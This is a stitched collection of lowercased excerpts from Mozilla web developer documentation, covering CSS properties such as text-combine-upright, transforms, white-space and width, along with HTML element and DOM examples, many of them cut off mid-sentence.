html <p lang="ja" class="exampletext">平成20年4月16日に</p> css .exampletext { writing-mode: vertical-lr; text-combine-upright: digits 2; font: 36px serif; } results screenshotlive sample all the all value requires markup around every piece of horizontal text, but it is currently supported by more browsers than the digits value.
... html <p lang="zh-hant">民國<span class="num">105</span >年<span class="num">4</span >月<span class="num">29</span>日</p> css html { writing-mode: vertical-rl; font: 24px serif } .num { text-combine-upright: all } results screenshotlive sample specifications specification status comment css writing modes level 4the definition of 'text-combine-upright' in that specification.
text-rendering - CSS: Cascading Style Sheets
html <p class="small">lyowat - ff fi fl ffl</p> <p class="big">lyowat - ff fi fl ffl</p> css .small { font: 19.9px "constantia", "times new roman", "georgia", "palatino", serif; } .big { font: 20px "constantia", "times new roman", "georgia", "palatino", serif; } result optimizespeed vs optimizelegibility this example shows the difference between the appearance of optimizespeed and optimizelegibility (in...
... html <p class="speed">lyowat - ff fi fl ffl</p> <p class="legibility">lyowat - ff fi fl ffl</p> css p { font: 1.5em "constantia", "times new roman", "georgia", "palatino", serif } .speed { text-rendering: optimizespeed; } .legibility { text-rendering: optimizelegibility; } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'text-rendering' in that specification.
text-underline-position - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | from-font | [ under | [ left | right ] ] examples a simple example let's take a couple of simple example paragraphs: <p class="horizontal">lorem ipsum dolor sit amet, consectetur adipiscing elit.
...aliquam accumsan tellus ac erat posuere.</p> <p class="vertical">lorem ipsum dolor sit amet, consectetur adipiscing elit.
matrix3d() - CSS: Cascading Style Sheets
html <section id="example-element" tabindex="0"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </section> css #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg...
... html <div class="foo"> lorem ipsum dolor sit amet, consectetur adipisicing elit.
perspective() - CSS: Cascading Style Sheets
10000100001000−1/d1 examples html <p>without perspective:</p> <div class="no-perspective-box"> <div class="face front">a</div> <div class="face top">b</div> <div class="face left">c</div> </div> <p>with perspective (9cm):</p> <div class="perspective-box-far"> <div class="face front">a</div> <div class="face top">b</div> <div class="face left">c</div> </div> <p>with perspective (4cm):</p> <div class="perspective-box-closer"> <div class="face front">a</div...
...> <div class="face top">b</div> <div class="face left">c</div> </div> css .face { position: absolute; width: 100px; height: 100px; line-height: 100px; font-size: 100px; text-align: center; } p + div { width: 100px; height: 100px; transform-style: preserve-3d; margin-left: 100px; } .no-perspective-box { transform: rotatex(-15deg) rotatey(30deg); } .perspective-box-far { transform: perspective(9cm) rotatex(-15deg) rotatey(30deg); } .perspective-box-closer { transform: perspective(4cm) rotatex(-15deg) rotatey(30deg); } .top { background-color: skyblue; transform: rotatex(90deg) translate3d(0, 0, 50px); } .left { background-color: pink; transform: rotatey(-90deg) translate3d(0, 0, 50px); } .front { background-color: limegreen; transform: transl...
rotate() - CSS: Cascading Style Sheets
oordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 cos(a)-sin(a) sin(a)cos(a) cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00sin(a)cos(a)0000100001 [cos(a) sin(a) -sin(a) cos(a) 0 0] examples basic example html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotate(45deg); /* equal to rotatez(45deg) */ background-color: pink; } result combining rotation with another transformation if you want apply multiple transformations to an element, be careful about the order in which you specify your transformations.
... html <div>normal</div> <div class="rotate">rotated</div> <div class="rotate-translate">rotated + translated</div> <div class="translate-rotate">translated + rotated</div> css div { position: absolute; left: 40px; top: 40px; width: 100px; height: 100px; background-color: lightgray; } .rotate { background-color: transparent; outline: 2px dashed; transform: rotate(45deg); } .rotate-translate { background-color: pink; transform: rotate(45deg) translatex(180px); } .translate-rotate { background-color: gold; transform: translatex(180px) rotate(45deg); } result specifications specification status comment css transforms level 1th...
<url> - CSS: Cascading Style Sheets
WebCSSurl
if you choose to write the url without quotes, use a backslash (\) before any parentheses, whitespace characters, single quotes (') and double quotes (") that are part of the url.
... <a_css_property>: url("http://mysite.example.com/mycursor.png") <a_css_property>: url('http://mysite.example.com/mycursor.png') <a_css_property>: url(http://mysite.example.com/mycursor.png) examples .topbanner { background: url("topbanner.png") #00d no-repeat fixed; } ul { list-style: square url(http://www.example.com/redball.png); } specifications specification status comment css values and units module level 4the definition of '<url>' in that specification.
Used value - CSS: Cascading Style Sheets
example this example computes and displays the used width value of three elements (updates on resize): html <div id="no-width"> <p>no explicit width.</p> <p class="show-used-width">..</p> <div id="width-50"> <p>explicit width: 50%.</p> <p class="show-used-width">..</p> <div id="width-inherit"> <p>explicit width: inherit.</p> <p class="show-used-width">..</p> </div> </div> </div> css #no-width { width: auto; } #width-50 { width: 50%; } #width-inherit { width: inher...
...it; } /* make results easier to see */ div { border: 1px solid red; padding: 8px; } javascript function updateusedwidth(id) { var div = document.queryselector(`#${id}`); var par = div.queryselector('.show-used-width'); var wid = window.getcomputedstyle(div)["width"]; par.textcontent = `used width: ${wid}.`; } function updateallusedwidths() { updateusedwidth("no-width"); updateusedwidth("width-50"); updateusedwidth("width-inherit"); } updateallusedwidths(); window.addeventlistener('resize', updateallusedwidths); result difference from computed value css 2.0 defined only computed value as the last step in a property's calculation.
user-select - CSS: Cascading Style Sheets
er-select: contain; user-select: all; /* global values */ user-select: inherit; user-select: initial; user-select: unset; /* mozilla-specific values */ -moz-user-select: none; -moz-user-select: text; -moz-user-select: all; /* webkit-specific values */ -webkit-user-select: none; -webkit-user-select: text; -webkit-user-select: all; /* doesn't work in safari; use only "none" or "text", or else it will allow typing in the <html> container */ /* microsoft-specific values */ -ms-user-select: none; -ms-user-select: text; -ms-user-select: element; note: user-select is not an inherited property, though the initial auto value makes it behave like it is inherited most of the time.
... formal definition initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | text | none | contain | all examples html <p>you should be able to select this text.</p> <p class="unselectable">hey, you can't select this text!</p> <p class="all">clicking once will select all of this text.</p> css .unselectable { -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .all { -moz-user-select: all; -webkit-user-select: all; -ms-user-select: all; user-select: all; } result specifications specification ...
visibility - CSS: Cascading Style Sheets
formal definition initial valuevisibleapplies toall elementsinheritedyescomputed valueas specifiedanimation typea visibility formal syntax visible | hidden | collapse examples basic example html <p class="visible">the first paragraph is visible.</p> <p class="not-visible">the second paragraph is not visible.</p> <p class="visible">the third paragraph is visible.
... notice the second paragraph is still occupying space.</p> css .visible { visibility: visible; } .not-visible { visibility: hidden; } table example html <table> <tr> <td>1.1</td> <td class="collapse">1.2</td> <td>1.3</td> </tr> <tr class="collapse"> <td>2.1</td> <td>2.2</td> <td>2.3</td> </tr> <tr> <td>3.1</td> <td>3.2</td> <td>3.3</td> </tr> </table> css .collapse { visibility: collapse; } table { border: 1px solid red; } td { border: 1px solid gray; } specifications specification status comment css flexible box layout modulethe definition of 'visibility' in that specification.
white-space - CSS: Cascading Style Sheets
initial valuenormalapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | pre | nowrap | pre-wrap | pre-line | break-spaces examples basic example code { white-space: pre; } line breaks inside <pre> elements pre { word-wrap: break-word; /* ie 5.5-7 */ white-space: pre-wrap; /* modern browsers */ } in action html <div id="css-code" class="box"> p { white-space: <select> <option>normal</option> <option>nowrap</option> <option>pre</option> <option>pre-wrap</option> <option>pre-line</option> <option>break-spaces</option> </select> } </div> <div id="results" class="box"> <p> lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore m...
...um.</p> </div> .box { width: 300px; padding: 16px; border-radius: 10px; } #css-code { background-color: rgb(220, 220, 220); font-size: 16px; font-family: monospace; } #css-code select { font-family: inherit; } #results { background-color: rgb(230, 230, 230); overflow-x: scroll; height: 400px; white-space: normal; font-size: 14px; } var select = document.queryselector("#css-code select"); var results = document.queryselector("#results p"); select.addeventlistener("change", function(e) { results.setattribute("style", "white-space: "+e.target.value); }) <p> lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
width - CSS: Cascading Style Sheets
WebCSSwidth
upsinheritednopercentagesrefer to the width of the containing blockcomputed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples default width p.goldie { background: gold; } <p class="goldie">the mozilla community produces a lot of great software.</p> pixels and ems .px_length { width: 200px; background-color: red; color: white; border: 1px solid black; } .em_length { width: 20em; background-color: white; color: red; border: 1px solid black; } <div class="px_length">width measured in px</div> <div class="em_length">width measured in em</div> percentage...
... .percent { width: 20%; background-color: silver; border: 1px solid red; } <div class="percent">width in percentage</div> max-content p.maxgreen { background: lightgreen; width: intrinsic; /* safari/webkit uses a non-standard name */ width: -moz-max-content; /* firefox/gecko */ width: -webkit-max-content; /* chrome */ width: max-content; } <p class="maxgreen">the mozilla community produces a lot of great software.</p> min-content p.minblue { background: lightblue; width: -moz-min-content; /* firefox */ width: -webkit-min-content; /* chrome */ width: min-content; } <p class="minblue">the mozilla community produces a lot of great software.</p> specifications specification status comment css box sizing module l...
Demos of open web technologies
rden (source code) multi touch in canvas demo (source code) svg bubblemenu (visual effects and interaction) html transformations using foreignobject (visual effects and transforms) phonetics guide (interactive) 3d objects demo (interactive) blobular (interactive) video embedded in svg (or use the local download) summer html image map creator (source code) video video 3d animation "mozilla constantly evolving" video 3d animation "floating dance" streaming anime, movie trailer and interview billy's browser firefox flick virtual barber shop transformers movie trailer a scanner darkly movie trailer (with built in controls) events firing and volume control dragable and sizable videos 3d graphics webgl web audio fireworks ioquake3 (source code) escher puzzle (sour...
...ce code) kai 'opua (source code) virtual reality the polar sea (source code) sechelt fly-through (source code) css css zen garden css floating logo "mozilla" paperfold css blockout rubik's cube pure css slides planetarium (source code) loader with blend modes text reveal with clip-path ambient shadow with custom properties luminiscent vial css-based single page application (source code) transformations impress.js (source code) games ioquake3 (source code) kai 'opua (source code) web apis notifications api html5 notifications (source code) web audio api web audio fireworks oscope.js - javascript oscilloscope html5 web audio showcase (source code) html5 audio visualizer (source code) graphical filter editor and visualizer (source code) ...
EXSLT
for example, to use the regular expressions package: <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:regexp="http://exslt.org/regular-expressions"> <xsl:template match="/"> ...
... <xsl:value-of select="regexp:replace(/root/@value, 'before', 'gi', 'after')"/> ...
Live streaming web audio and video - Developer guides
for example: <video src="rtsp://myhost.com/mymedia.format"> <!-- fallback here --> </video> media source extensions (mse) media source extensions is a w3c working draft that plans to extend htmlmediaelement to allow javascript to generate media streams for playback.
...this approach allows us to download chunks of the video stream using xhr and "append" the chunks to the stream that's played by the <video> element.
Web Audio playbackRate explained - Developer guides
next we set playbackrate to 0.5, which represents half normal speed (the playbackrate is a multiplier applied to the original rate.) a complete example let's create a <video> element first, and set up video and playback rate controls in html: <video id="myvideo" controls> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type='video/mp4' /> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.webm" type='video/webm' /> </video> <form> <input id="pbr" type="range" value="1" min="0.5" max="4" step="0.1" > <p>playback rate <span id="currentpbr">1</span></p> </form> and apply some javascript to it: window.on...
...load = function () { var v = document.getelementbyid("myvideo"); var p = document.getelementbyid("pbr"); var c = document.getelementbyid("currentpbr"); p.addeventlistener('input',function(){ c.innerhtml = p.value; v.playbackrate = p.value; },false); }; finally, we listen for the input event firing on the <input> element, allowing us to react to the playback rate control being changed.
Overview of events and handlers - Developer guides
we could define in the html page a button as: <button id="buttonone">click here to emit a 'click' event</button> and, in our javascript code, we could first define a function to listen to that 'click' event: var example_click_handler = function (ev){ var objkind = (ev instanceof event) ?
... "eventprototype" : "objectprototype"; alert("we got a click event at " + ev.timestamp + " with an argument object derived from: " + objkind ); }; and second register our function with the the button object, either on the scripting side using the dom (document object model) representation of the html page: var buttondomelement = document.queryselector('#buttonone'); buttondomelement.addeventlistener('click', example_click_handler); or within the html page by adding the function as the value of the 'onclick' attribute, although this second approach is usually only used in very simple web pages.
Using device orientation with 3D transforms - Developer guides
here's a simple code snippet to sum it up: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // remember to use vendor-prefixed transform property elem.style.transform = "rotatez(" + ( e.alpha - 180 ) + "deg) " + "rotatex(" + e.beta + "deg) " + "rotatey(" + ( -e.gamma ) + "deg)"; }); orientation compensation compensating the orientation of the device can be useful to create parallax effects or augment...
...this is achieved by inverting the previous order of rotations and negating the alpha value: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // again, use vendor-prefixed transform property elem.style.transform = "rotatey(" + ( -e.gamma ) + "deg)" + "rotatex(" + e.beta + "deg) " + "rotatez(" + - ( e.alpha - 180 ) + "deg) "; }); rotate3d to orientation should you ever need to convert a rotate3d axis-angle to orientation euler angles, you can use the following algorithm: // convert a rotate3d axis-angle to deviceorientation angles function orient( aa ) { var x = aa.x, y = aa.y, z = aa.z, a = aa.a, c = math.cos( aa.a ), s = math.sin( aa.a ), t = 1 - c, // axis-angle to ...
XHTML - Developer guides
WebGuideHTMLXHTML
the following example shows an html document and corresponding "xhtml" document, and the accompanying http content-type headers they should be served with.
... html document content-type: text/html <!doctype html> <html lang=en> <head> <meta charset=utf-8> <title>html</title> </head> <body> <p>i am a html document</p> </body> </html> xhtml document content-type: application/xhtml+xml <?xml version="1.0" encoding="utf-8"?> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>xhtml</title> </head> <body> <p>i am a xhtml document</p> </body> </html> in practice, very few "xhtml" documents are served over the web with a content-type: application/xhtml+xml header.
Index - Developer guides
WebGuideIndex
2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together 3 community ajax if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here.
... 35 separate sites for mobile and desktop mobile, web development the "separate sites" approach to mobile web development involves creating different sites for mobile and desktop web users.
Localizations and character encodings - Developer guides
to specify that a page is using, for example, the utf-8 character encoding (as per the recommendation), simply place the following line in the <head> block: <meta charset="utf-8"> details and browser internals when the encoding is declared by web content like the html specification requires, firefox will use that encoding for turning the bytes into the internal representation.
...do not under any circumstances specify the "universal" detector.
Separate sites for mobile and desktop - Developer guides
the "separate sites" approach to mobile web development involves creating different sites for mobile and desktop web users.
... responsive design a hybrid approach original document information this article was originally published on 13 may 2011, on the mozilla webdev blog as "approaches to mobile web development part 2 – separate sites", by jason grlicky.
Parsing and serializing XML - Developer guides
parsing strings into dom trees this example converts an xml fragment in a string into a dom tree using a domparser: var smystring = '<a id="a"><b id="b">hey!</b></a>'; var oparser = new domparser(); var odom = oparser.parsefromstring(smystring, "application/xml"); // print the name of the root element or error message console.log(odom.documentelement.nodename == "parsererror" ?
... "error while parsing" : odom.documentelement.nodename); parsing url-addressable resources into dom trees using xmlhttprequest here is sample code that reads and parses a url-addressable xml file into a dom tree: var xhr = new xmlhttprequest(); xhr.onload = function() { dump(xhr.responsexml.documentelement.nodename); } xhr.onerror = function() { dump("error while getting xml."); } xhr.open("get", "example.xml"); xhr.responsetype = "document"; xhr.send(); the value returned in the xhr object's responsexml field is a document constructed by parsing the xml.
The Unicode Bidirectional Text Algorithm - Developer guides
initial unicode bidi algorithm control characters character code point html entity markup equivalent description left-to-right isolate (lri) u+2066 &#x2066; dir="ltr" sets the base direction to ltr, isolating the embedded content from the surrounding text right-to-left isolate (lri) u+2067 &#x2067; dir="rtl" sets the base direction to rtl, isolating the embedded content from the surrounding text first strong isolate (fsi) u+2068 &#x2068; dir="auto" isolates the content and sets the base direction according to th...
...e first strongly-typed directional character in the embedded content left-to-right embedding (lre) u+202a &#x202a; dir="ltr" sets the base direction to ltr but allows the embedded text to interact with the surrounding content; this risks the effect spilling over to the outer content right-to-left embedding (rle) u+202b &#x202b; dir="rtl" sets the base direction to rtl, but lets the embedded text interact with the surrounding content, risking spillover effects left-to-right override (lro) u+202d &#x202d; <bdo dir="ltr"> overrides the bidi algorithm, displaying the characters in memory order, from left to right right-to-left override (rlo) u+202e &#x202e; <bdo dir="rtl"> overrides the bidi algorithm and displa...
disabled - HTML: Hypertext Markup Language
<fieldset> <legend>checkboxes</legend> <p><label> <input type="checkbox" name="chbox" value="regular"> regular </label></p> <p><label> <input type="checkbox" name="chbox" value="disabled" disabled> disabled </label></p> </fieldset> <fieldset> <legend>radio buttons</legend> <p><label> <input type="radio" name="radio" value="regular"> regular </label></p> <p><label> <input type="radio" name="radio" value="disabled" disabled> disabled ...
... </label></p> </fieldset> <p> <label>select an option: <select> <optgroup label="group 1"> <option>option 1.1</option> </optgroup> <optgroup label="group 2"> <option>option 2.1</option> <option disabled>option 2.2</option> <option>option 2.3</option> </optgroup> <optgroup label="group 3" disabled> <option>disabled 3.1</option> <option>disabled 3.2</option> <option>disabled 3.3</option> </optgroup> </select> </label> </p> <fieldset disabled> <legend>disabled fieldset</legend> <p> <label>name: <input type="name" name="radio" value="regular"> regular </label> </p> <p> <label>number: <input type="number"></label> </p> </fieldset> specifications specification status comment ...
HTML attribute: minlength - HTML: Hypertext Markup Language
examples by adding minlength="5", the value must either be empty or five characters or longer to be valid.
... <label for="fruit">enter a fruit name that is at least 5 letters long</label> <input type="text" minlength="5" id="fruit"> we can use pseudoclasses to style the element based on whether the value is valid.
HTML attribute: pattern - HTML: Hypertext Markup Language
examples given the following: <p> <label>enter your phone number in the format (123)456-7890 (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2"/>)- <input name="tel2" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit prefix" size="2"/> - <input name="tel3" type="tel" pattern="[0-9]{4}" placeholder="####" aria-label="4-digit number" size="3"/> </label> </p> here we have 3 sections for a north american phone number with an...
... <form> <div> <label for="uname">choose a username: </label> <input type="text" id="uname" name="name" required size="45" pattern="[a-z]{4,8}" title="4 to 8 lowercase letters"> <span class="validity"></span> <p>usernames must be lowercase and 4-8 characters in length.</p> </div> <div> <button>submit</button> </div> </form> div { margin-bottom: 10px; position: relative; } p { font-s...
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
WebHTMLElementabbr
html <p>ashok's joke made me <abbr title="laugh out loud">lol</abbr> big time.</p> result defining an abbreviation you can use <abbr> in tandem with <dfn> to more formally define an abbreviation, as shown here.
... html <p><dfn id="html"><abbr title="hypertext markup language">html</abbr> </dfn> is a markup language used to create the semantics and structure of a web page.</p> <p>a <dfn id="spec">specification</dfn> (<abbr title="specification">spec</abbr>) is a document that outlines in detail how a technology or api is intended to function and how it is accessed.</p> result accessibility concerns spelling out the acronym or abbreviation in full the first time it is used on a page is beneficial for helping people understand it, especially if the content is technical or industry jargon.
<center>: The Centered Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementcenter
<p>so will this paragraph.</p></center> example 2 (css alternative) <div style="text-align:center">this text will be centered.
... <p>so will this paragraph.</p></div> example 3 (css alternative) <p style="text-align:center">this line will be centered.<br> and so will this line.</p> note applying text-align:center to a <div> or <p> element centers the contents of those elements while leaving their overall dimensions unchanged.
<del>: The Deleted Text element - HTML: Hypertext Markup Language
WebHTMLElementdel
this can be used when rendering "track changes" or source code diff information, for example.
... del::before, del::after { clip-path: inset(100%); clip: rect(1px, 1px, 1px, 1px); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px; } del::before { content: " [deletion start] "; } del::after { content: " [deletion end] "; } some people who use screen readers deliberately disable announcing content that creates extra verbosity.
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
WebHTMLElementfieldset
<form action="#"> <fieldset> <legend>simple fieldset</legend> <input type="radio" id="radio"> <label for="radio">spirit of radio</label> </fieldset> </form> disabled fieldset this example shows a disabled <fieldset> with two controls inside it.
... <form action="#"> <fieldset disabled> <legend>disabled fieldset</legend> <div> <label for="name">name: </label> <input type="text" id="name" value="chris"> </div> <div> <label for="pwd">archetype: </label> <input type="password" id="pwd" value="wookie"> </div> </fieldset> </form> technical summary content categories flow content, sectioning root, listed, form-associated element, palpable content.
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
WebHTMLElementfigure
examples images <!-- just an image --> <figure> <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="the beautiful mdn logo."> </figure> <!-- image with a caption --> <figure> <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="the beautiful mdn logo."> <figcaption>mdn logo</figcaption> </figure> code snippets <figure> <figcaption>get browser details using <code>navigator</code>.</figcaption> <pr...
...e> function navigatorexample() { var txt; txt = "browser codename: " + navigator.appcodename + "; "; txt+= "browser name: " + navigator.appname + "; "; txt+= "browser version: " + navigator.appversion + "; "; txt+= "cookies enabled: " + navigator.cookieenabled + "; "; txt+= "platform: " + navigator.platform + "; "; txt+= "user-agent header: " + navigator.useragent + "; "; console.log("navigatorexample", txt); } </pre> </figure> quotations <figure> <figcaption><cite>edsger dijkstra:</cite></figcaption> <blockquote>if debugging is the process of removing software bugs, then programming must be the process of putting them in.</blockquote> </figure> poems <figure> <p style="white-space:pre"> bid me discourse, i will enchant thine ear, or like a fairy tri...
<frame> - HTML: Hypertext Markup Language
WebHTMLElementframe
there are two choices: "yes" for forcing a scrollbar even when it is not necessary and "no" for forcing no scrollbar even when it is necessary.
... example <frameset cols="50%,50%"> <frame src="https://udn.realityripple.com/docs/web/html/element/iframe" /> <frame src="https://udn.realityripple.com/docs/web/html/element/frame" /> </frameset> ...
<hgroup> - HTML: Hypertext Markup Language
WebHTMLElementhgroup
such punctuation after the primary heading and before the first secondary heading (and with the same or similar punctuation before any other secondary headings an <hgroup> might be shown in a rendered outline in with the primary heading followed by parentheses around the secondary heading(s) consider the following html document: <!doctype html> <title>html standard</title> <body> <hgroup id="document-title"> <h1>html</h1> <h2>living standard — last updated 12 august 2016</h2> </hgroup> <p>some intro to the document.</p> <h2>table of contents</h2> <ol id=toc>...</ol> <h2>first section</h2> <p>some intro to the first section.</p> </body> a rendered outline for that document might look like the following: that is, the rendered outline might show the primary titl...
... examples <hgroup id="document-title"> <h1>html</h1> <h2>living standard — last updated 12 august 2016</h2> </hgroup> specifications specification status comment html living standardthe definition of '<hgroup>' in that specification.
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
WebHTMLElementhtml
default value is "http://www.w3.org/1999/xhtml".
... example <!doctype html> <html lang="en"> <head>...</head> <body>...</body> </html> accessibility concerns providing a lang attribute with a valid ietf identifying language tag on the <html> element will help screen reading technology determine the proper language to announce.
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
WebHTMLElementi
among the use cases for the <i> element are spans of text representing a different quality or mode of text, such as: alternative voice or mood taxonomic designations (such as the genus and species "homo sapiens") idiomatic terms from another language (such as "et cetera"); these should include the lang attribute to identify the language technical terms transliterations thoughts (such as "she wondered,what is this writer talking about, anyway?") ship or vessel names in western writing systems (such as "they searched the docks for the empress of the galaxy, the ship to which the...
...y were assigned.") in earlier versions of the html specification, the <i> element was merely a presentational element used to display text in italics, much like the <b> element was used to display text in bold letters.
<noembed>: The Embed Fallback element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementnoembed
the <noembed> element is an obsolete, non-standard way to provide alternative, or "fallback", content for browsers that do not support the <embed> element or do not support the type of embedded content an author wishes to use.
... show an alternative content <embed type="vide/webm" src="/media/examples/flower.mp4" width="200" height="200"> <noembed> <h1>alternative content</h1> </noembed> </embed> ...
<ol>: The Ordered List element - HTML: Hypertext Markup Language
WebHTMLElementol
for example, to start numbering elements from the letter "d" or the roman numeral "iv," use start="4".
... examples simple example <ol> <li>fee</li> <li>fi</li> <li>fo</li> <li>fum</li> </ol> the above html will output: using roman numeral type <ol type="i"> <li>introduction</li> <li>list of greivances</li> <li>conclusion</li> </ol> the above html will output: using the start attribute <p>finishing places of contestants not in the winners’ circle:</p> <ol start="4"> <li>speedwalk stu</li> <li>saunterin’ sam</li> <li>slowpoke rodriguez</li> </ol> the above html will output: nesting lists <ol> <li>first item</li> <li...
<p>: The Paragraph element - HTML: Hypertext Markup Language
WebHTMLElementp
see for yourself: <button data-toggle-text="oh no!
... switch back!">use pilcrow for paragraphs</button> </p> css p { margin: 0; text-indent: 3ch; } p.pilcrow { text-indent: 0; display: inline; } p.pilcrow + p.pilcrow::before { content: ""; } javascript document.queryselector('button').addeventlistener('click', function (event) { document.queryselectorall('p').foreach(function (paragraph) { paragraph.classlist.toggle('pilcrow'); }); var newbuttontext = event.target.dataset.toggletext; var oldtext = event.target.innertext; event.target.innertext = newbuttontext; event.target.dataset.toggletext = oldtext; }); result accessibility concerns breaking up content into paragraphs helps make a page more accessible.
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
WebHTMLElementrb
{{embedinteractiveexample("pages/tabbed/rb.html", "tabbed-standard")}} the source for this interactive example is stored in a github repository.
... examples in this example, we provide an annotation for the original character equivalent of "kanji": <ruby> <rb>漢<rb>字 <rp>(</rp><rt>kan<rt>ji<rp>)</rp> </ruby> note how we've included two <rb> elements, to delimit the two separate parts of the ruby base text.
<s> - HTML: Hypertext Markup Language
WebHTMLElements
examples <s>today's special: salmon</s> sold out<br> <span style="text-decoration:line-through;">today's special: salmon</span> sold out accessibility concerns the presence of the s element is not announced by most screen reading technology in its default configuration.
... s::before, s::after { clip-path: inset(100%); clip: rect(1px, 1px, 1px, 1px); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px; } s::before { content: " [start of stricken text] "; } s::after { content: " [end of stricken text] "; } some people who use screen readers deliberately disable announcing content that creates extra verbosity.
<samp>: The Sample Output element - HTML: Hypertext Markup Language
WebHTMLElementsamp
the css to override the default font face would look like this: samp { font-family: "courier"; } if you need an element which will serve as a container for output generated by your website or app's javascript code, you should instead use the <output> element.
...for example, consider this text presenting a transcript of a linux (or macos) console session: html <pre> <samp><span class="prompt">mike@interwebz:~$</span> <kbd>md5 -s "hello world"</kbd> md5 ("hello world") = 3e25960a79dbc69b674cd4ec67a72c62 <span class="prompt">mike@interwebz:~$</span> <span class="cursor">█</span></samp></pre> note the use of <span> to allow customization of the appearance of specific portions of the sample text such as the shell prompts and the cursor.
<slot> - HTML: Hypertext Markup Language
WebHTMLElementslot
examples <template id="element-details-template"> <style> details {font-family: "open sans light", helvetica, arial, sans-serif } .name {font-weight: bold; color: #217ac0; font-size: 120% } h4 { margin: 10px 0 -8px 0; background: #217ac0; color: white; padding: 2px 6px; border: 1px solid #cee9f9; border-radius: 4px; } .attributes { margin-left: 22px; font-size: 9...
...0% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <code class="name">&lt;<slot name="element-name">need name</slot>&gt;</code> <i class="desc"><slot name="description">need description</slot></i> </summary> <div class="attributes"> <h4>attributes</h4> <slot name="attributes"><p>none</p></slot> </div> </details> <hr> </template> note: you can see this complete example in action at element-details (see it running live).
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
WebHTMLElementtfoot
one of the sixteen predefined color strings may be used: black = "#000000" green = "#008000" silver = "#c0c0c0" lime = "#00ff00" gray = "#808080" olive = "#808000" white = "#ffffff" yellow = "#ffff00" maroon = "#800000" navy = "#000080" red = "#ff0000" blue = "#0000ff" purple = "#800080" teal = "#008...
...080" fuchsia = "#ff00ff" aqua = "#00ffff" usage note: do not use this attribute, as it is non-standard and only implemented some versions of microsoft internet explorer: the <tfoot> element should be styled using css.
<th> - HTML: Hypertext Markup Language
WebHTMLElementth
this attribute may be used with one of sixteen predefined color strings: black = "#000000" green = "#008000" silver = "#c0c0c0" lime = "#00ff00" gray = "#808080" olive = "#808000" white = "#ffffff" yellow = "#ffff00" maroon = "#800000" navy = "#000080" red = "#ff0000" blue = "#0000ff" purple = "#800080" teal = "#008...
...080" fuchsia = "#ff00ff" aqua = "#00ffff" note: do not use this attribute, as it is non-standard and only implemented in some versions of microsoft internet explorer: the <th> element should be styled using css.
<thead>: The Table Head element - HTML: Hypertext Markup Language
WebHTMLElementthead
one of the sixteen predefined color strings may be used: black = "#000000" green = "#008000" silver = "#c0c0c0" lime = "#00ff00" gray = "#808080" olive = "#808000" white = "#ffffff" yellow = "#ffff00" maroon = "#800000" navy = "#000080" red = "#ff0000" blue = "#0000ff" purple = "#800080" teal = "#008...
...080" fuchsia = "#ff00ff" aqua = "#00ffff" usage note: do not use this attribute, as it is non-standard and only implemented in some versions of microsoft internet explorer: the <thead> element should be styled using css.
data-* - HTML: Hypertext Markup Language
note that the htmlelement.dataset property is a domstringmap, and the name of the custom data attribute data-test-value will be accessible via htmlelement.dataset.testvalue (or by htmlelement.dataset["testvalue"]) as any dash (u+002d) is replaced by the capitalization of the next letter, converting the name to camelcase.
...for example, a space-ship "sprite" in a game could be a simple <img> element with a class attribute and several data-* attributes: <img class="spaceship cruiserx3" src="shipx3.png" data-ship-id="324" data-weapons="laseri laserii" data-shields="72%" data-x="414354" data-y="85160" data-z="31940" onclick="spaceships[this.dataset.shipid].blasted()"> for a more in-depth tutorial about using html data attributes, see using data attributes.
itemid - HTML: Hypertext Markup Language
